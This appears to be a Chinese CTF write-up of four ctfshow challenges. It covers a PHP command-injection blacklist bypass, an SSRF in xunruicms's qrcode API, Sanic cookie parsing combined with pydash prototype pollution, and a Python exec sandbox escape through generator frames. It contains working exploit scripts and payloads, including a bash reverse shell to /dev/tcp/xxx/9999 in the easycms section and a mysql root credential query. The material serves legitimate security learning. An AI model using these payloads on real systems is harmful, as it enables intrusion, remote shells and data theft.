simple_php
simple_php: 思路流程
命令执行黑名单
S1: 先列出有哪些命令可以用,这里还是靠经验
就拼凑思路上来说,过滤太多又不回显是比较难拼凑的,搭个本地环境可以测试,用docker搭建比较好
1
2
3
4# 不太行
-
base32
rev
过滤有点多,先考虑编码绕过,shell的编码函数被ban了,有没有别的编码函数?php里有,怎么在shell中使用php?
php -r
,okescapeshellcmd的影响,似乎有再套一层字符串,那就不是影响了再字符串里,找一下编码有
hexo2bin()
,构造一下payloadphp -r system(hex2bin(6c73));
- 报错,思路应该可以是这个,但是报错了
Parse error: syntax error, unexpected 'c73202d6c' (T_STRING), expecting ')' in Command line code on line 1
,查了一下加自己思考感觉可能是变成数字了,现在只要解决这个问题就可以执行了 - 经过测试可以使用0x表示十六进制,但是会转换成十进制,这里需要将数字->字符串,强制转换行不?可行,不过需要**非数字开头(这个点要敏感点)**,使用截取
- 十进制短命令运行法(本地通,远不同): 一开始总是用进制转换去解决
php -r system(hex2bin(dechex(strval(27763))));
,处理后是php -r system\(hex2bin\(dechex\(strval\(27763\)\)\)\)\;
,不失为一种办法,虽然后面发现了对长度有限制,总之思路的还是很重要的,先选简单的
- 十进制短命令运行法(本地通,远不同): 一开始总是用进制转换去解决
- 报错,思路应该可以是这个,但是报错了
这样就可以执行任意命令了,payload:
cmd=php -r system(hex2bin(substr(a6c73,1)));
本地找不到flag文件,并且环境变量中也没有,考虑数据库,
cat /etc/passwd
发现mysql,我们当前用户为www-data,还有知道一个root,试一试有没有机会,最终在
mysql -u www-data;echo $?
成功获取返回0,妙- mysql后面就是,root用户试一下,www-data里的test是空的不行
mysql -u root -p'root' -e "use PHP_CMS;select * from Flag_jdjvn"
这样转成hex然后执行
- mysql后面就是,root用户试一下,www-data里的test是空的不行
simple_php: 核心要点
重要的是深入细化问题
- 什么对什么的什么做了什么事情,比如黑名单对bash的编码进行了过滤,就可以考虑使用php中的来实现
对于过滤问题
注意到escpaeshellcmd作用的原理是添加\,传入cmd后作为字符串并不会有影响,这里只是防止绕过在本php页面处理而已,仍然可以使用那些字符,其实可以转为绕过引号的在shell里
可以列一下哪些常用命令还可以用
1
2
3
4
5-
php
rev
paste
base32
命令执行->代码执行->命令执行现在是一个普遍的知识点了
数据库有些也是考察的内容,flag藏在里面
- 哪里能藏东西?环境变量,然后就是数据库了
mysql可以非交互式地进行查询,参数可以看文档/搜索/–help猜-e
坑点
mysql -u root -p'root'
中的p后不能有空格- 对于跑不通的命令比赛就别死磕了,试试别的思路,比如这里本地通ctfsow不通
easycms
easycms: 思路
看起来又像是信息题?
- 失败的尝试
- github种的readme看后,有test.php
- 没有具体的思路方向来呜呜,看题解 –> ?admin.php可以访问到啊,ctfshow是不是没有整理干净啊,算了
- 复现
- dirsearch开扫,有Readme.txt,后台没法爆破36乃至更多的四次方,有点难搞了,需要一个无需后台验证的方法,并且可以打ssrf到flag.php那里,可以任意命令执行
- test.php种有版本信息
- 找找历史漏洞,官网/github上的issue这些,关键词:漏洞,vul,bug
- 有一个可疑的ssrf?**直接搜qrcode,有一个dr_qrcode()**,看看文档
- clone个源码,并看着文档来审一下[https://www.xunruicms.com/doc/203.html]
- 先暂时停留在这里吧
?s=api&c=api&m=qrcode&thumb=&text=xxxx:9999/1.php&size=5&level=H
- 时隔n天,我回来了,把php环境搞清楚了
这里加个GIF89a
Docker起个服务302外力使其跳转,先
?s=api&c=api&m=qrcode&thumb=&text=http://xxxx:9999/1.php&size=5&level=H
注意要http://xxxx:9999
- 注意header之前不能有输出,ai说的
- 可以加个日志来实现自动记录
1
2
3
4
5
6
7
8
// 反弹shell
$cmd=urlencode("bash -i >& /dev/tcp/xxx/9999 0>&1");
$evil = "Location: http://127.0.0.1/flag.php?cmd=".$cmd;
// 设置重定向头信息
header($evil);
GIF89a这里ctfshow搞不出来,看了网上大家都这样
easycms: 总结
- 搜索+推断,这里qr_code的定位可以依赖于Api文档/api文件,一般会是入口
- 可以使用302跳转强制ssrf
sanic
sanic: 思路
尝试
- 有源码,很明显的lower绕过加原型链污染
- 又完damn了,网上找不到一点信息,很明显的lower眼前怎么就过不了呢?
题解wp环节
原来要源码,网上找不到就看看源码吧
在输入端似乎无法搞动作,看看**接收端的解析规则(一入一出很合理啊)**,进到sanic去看看
login的解析对象request是谁,打印出来看看,这一看不要紧,原来是
<class 'sanic.request.types.Request'>
,不错,有入口了再对于模块中找到cookie,在一步一步深入,发现了以下这段代码(找到和wp一样的了),还是要审细一点,看漏了耽搁了半小时wc
- 第一个用来过滤特殊的字符
- 允许八进制\077这样
[\\]
:匹配反斜杠。.
:匹配任意单个字符(除了换行符- 结论: 需要使用引号包裹八进制字符来绕过session的检查
1
2
3
4
5
6# 分析链
print(request) # 在/login中加的,用于判断类型<class 'sanic.request.types.Request'>
def cookies(self) -> RequestParameters: # pycharm中可以搜索sanic.request.types.Request
self.get_cookies()
self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie)) # 进入到parsed_cookie中
value = _unquote(value)1
2
3
4
5
6
7
8
9
10
11
12COOKIE_NAME_RESERVED_CHARS = re.compile(
'[\x00-\x1f\x7f-\xff()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")
# !!! 关键的调用处如下
if COOKIE_NAME_RESERVED_CHARS.search(name): # no cov
continue
if len(value) > 2 and value[0] == '"' and value[-1] == '"': # no cov
value = _unquote(value) # 在_unquote中才有对OCTAL_PATTERN和QUOTE_PATTERN的引用
绕过;后现在有需要搞_.的绕过了,查查资料,不行看源码吧
这里的目标应该可以是/src的
__file__
,也就是修改全局变量的方式,那能到哪里去呢?任意文件读取,/proc/1/environ,应该就这里,感觉到不了rce绕过
- 这里网上找不到,看看解析的源码,pydash5.1.12中的,重点关注路径那里就ok了
- 真找到了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24RE_PATH_LIST_INDEX = re.compile(r"^\[\d+\]$")
# 结合过滤在python中使用"_\\\\."来进行绕过
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")
def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
最终payload与分析链
1
2
3
4
5
6
7
8
9
10
11# 分析链
pydash.set_(pollute, key, value)
return set_with(obj, path, value)
return update_with(obj, path, pyd.constant(value), customizer=customizer)
tokens = to_path_tokens(path) # 这一步敏感,因为我们的目的就是path的解析
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40import requests
host = "http://e4630784-9448-45a8-9d3c-65652b721aaf.challenge.ctf.show/"
route1 = "login/"
route2 = "admin/"
route3 = "src/"
proxies = {
"http": "http://127.0.0.1:8080",
}
# 创建一个 Session 对象
session = requests.Session()
# 设置初始的 cookies
session.cookies.set('user', '"adm\\073n"') # 要有引号包起来
# 1. 发送带有特定 cookie 的 GET 请求到 login 路由
r = session.get(host + route1, proxies=proxies)
print("[1]----------")
print(r.text)
print()
# 2. 发送 POST 请求到 admin 路由,包含特定的 json 数据
path_data = {
"key": "__init__\\\\.__globals__\\\\.__file__",
"value": "/proc/1/environ",
}
print("[2]----------")
try:
r = session.post(host + route2, json=path_data, timeout=5.0, proxies=proxies)
print(r.status_code)
except requests.exceptions.Timeout:
print("[!]time out")
# 3. 发送 GET 请求到 src 路由并获取文本
r = session.get(host + route3, proxies=proxies)
print("[3]----------")
print(r.text)
sanic: 不对没有这么简单
上面说到在ctfshow中可以/proc/1/environ读到flag,但是看wp说现实中是不行的
不同的点:实际情况中无法猜测到flag的所在位置,必须进一步解决
重要的还是思想,这里应该是无法rce?有目录就很容易了,可以任意读文件
看看static吧,就剩这一个切入口了,搜索魅力时刻到了,“sanic获取static的可视化目录界面”,发现directory_view,如果可以还可以污染指定为别的目录进行查看,无敌了,先解决view吧
这里能做到的就是污染了,现在能做到就是污染,写写污染链子,艹,失败了,但还是有学到的
1
2
3
4
5
6
7
8
9
10self._apply_static(static)/self._future_statics.add(static) # 一开始就两个?问题不大,先看static
_future_statics
directory_handler
directory_view
# 尝试的payload
payload = {
"key":"__init__\\\\.__globals__\\\\.Sanic._future_statics.directory_handler.directory_view",
"value":"True",
}
看别人wp+调试的payload
- 注意json可以传递对应的值,所以要对应类型比如布尔的true这些
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55import requests
host = "http://localhost:5555/"
# host="http://f6642576-3813-4cd6-ae6f-7a6dc692a220.challenge.ctf.show/"
route1 = "login/"
route2 = "admin/"
route3 = "src/"
route4 = "static/"
proxies = {
"http": "http://127.0.0.1:8080",
}
# 创建一个 Session 对象
session = requests.Session()
# 设置初始的 cookies
session.cookies.set('user', '"adm\\073n"')
# 1. 发送带有特定 cookie 的 GET 请求到 login 路由
r = session.get(host + route1, proxies=proxies)
# r = session.get(host + route1)
print("[1]----------")
print(r.text)
print()
# 2. 构造污染payload
directory_view = {
# "key":"__init__\\\\.__globals__\\\\.app.router.name_index['__mp_main__'].static.handler.keywords['directory_handler'].directory_view", # 这个不行,[]只能识别数字的,也就是索引
# "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory_view", # 这个也不行,这里就是不要他们转义,是同一个变量名,可以下断点
"key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": True,
}
r = session.post(host+route2,json=directory_view,timeout=5,proxies=proxies)
# r = session.post(host+route2,json=directory_view,timeout=5)
print("[2]----------")
print(r.text)
print()
path_payload = {
"key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts",
"value": ["/"],
}
r = session.post(host+route2,json=path_payload,timeout=5,proxies=proxies)
print("[3]----------")
print(r.text)
print()
r = session.get(host+route4,timeout=5,proxies=proxies)
print("[4]----------")
print(r.text)
print()
sanic: 核心要点
- 我嘞个源码题,疯狂看源码,但是思考的思路还是有要求的
- 网上查不到就看源码,并且抓住要点,比如污染的绕过需要的是路径的解析
- 输入无法做手脚就从解析做手脚
mossfirn
mossfirn: 思路
- 看mossfirn源码显然是flask沙箱,哪里有亮点呢?
- 使用subprocess运行命令
- 会将flag和id注入到运行的文件中,只要获取到flag就够了,但是这里id有什么用?
- 可控输入源:{id}.txt,可以获取json数据中的code
- 捋一捋思路
- 运行runner.py时会进行字面特殊字符检查,字节码检查和特殊调用检查,这些都需要进行绕过
- 返回时还有一部分检查,这部分容易,直接进行编码或者断开返回即可了
- 现在的关键目标:读取到外部的flag然后进行返回编码值
- 急急急急急
- 搜啊搜,感觉网上的题和这里不太符合啊,都是那种链子,难道还要源码
- 切换一下思路,围绕“python exec中获取外部变量目的的沙盒逃逸”这个进行提问,有发现了一个栈帧逃逸的,看看
还在找到了一个L3Hctf的题目很像,wc那他们不是薄纱
还是要慢下来看才可以,能出就好了,急干嘛?
看讲解说是next在内置函数被禁掉了,需要用列表表达式for语句获取,本地测试如下,有几个点说一下啊
- 点1: 一个gi_frame会停在函数执行完毕的行数
- 点2: 套了多少函数就要跳多少次,比如这里要跳到main里,需要
__main__<-quote_caller<-f
两个箭头跳两次
1
2
3
4
5
6
7
8
9
10flag="you got me!"
def quote_caller():
def f():
yield g.gi_frame
g=f()
frame=[x for x in g][0]
print(frame.f_back.f_back.f_locals['flag'])
quote_caller() # 成功获取到这样之后就是直接往上走再读flag的情况了,找字面量这些就ok了,这里有些坑点
- 访问的路由需要是
/run
而不能是/run/
,第二个返回404 - 这里生成器要返回
g.gi_frame.f_back
才可以,如果直接返回g.gi_frame
不可以,这里的细节放到另一篇博客里再讲《python栈帧沙箱逃逸》 - 这里的next()由于
__builtins__
无法直接调用,所有需要使用列表表达式进行绕过 - 一开始遇到了LOAD_GLOBALS问题,搜不到,顾名思义,这里使用了global的的变量,在对应的op.txt文件中检查触发点,只有一个,让他变成局部的,所以加多了一层wrapper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66import requests
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
host="http://2b531651-5e31-4c7e-9a9f-42e1c62b5b8b.challenge.ctf.show/"
route="run"
# proxies={
# "http": "http://localhost:8080",
# }
payload=\
"""\
def wrapper():
def evil_generator():
yield g.gi_frame.f_back
g=evil_generator()
frame = [x for x in g][0]
# print(frame)
# print(frame.f_back)
# print(frame.f_back.f_back)
# print(frame.f_back.f_back.f_back)
func = frame.f_back.f_back.f_back.f_globals['_'+'_builtins_'+'_'].str
res = frame.f_back.f_back.f_back.f_code.co_consts
for i in func(res):
print(i+",",end="")
wrapper()
"""
print("[+] constructing payload")
print(payload)
opcodeIO = StringIO()
dis(payload, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
print("[+] disassembling payload to op.txt")
if open("/home/kc1zs4/Code/CTF/op.txt", "w").write("\n".join(opcode)):
print("[+] op.txt saved")
else:
print("[!] failed to save op.txt")
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
session = requests.Session()
# 1. 发送payload
r = session.post(host+route,timeout=5,json={
"code": payload,
})
print("[+] get resp")
print(r.text)
# 截取到我们的目标后就把,去掉就好
for i in answer.split(","):
print(i,end="")- 访问的路由需要是
mossfirn: 要点
- 比较考验实时搜搜的能力,秘塔是个好ai啊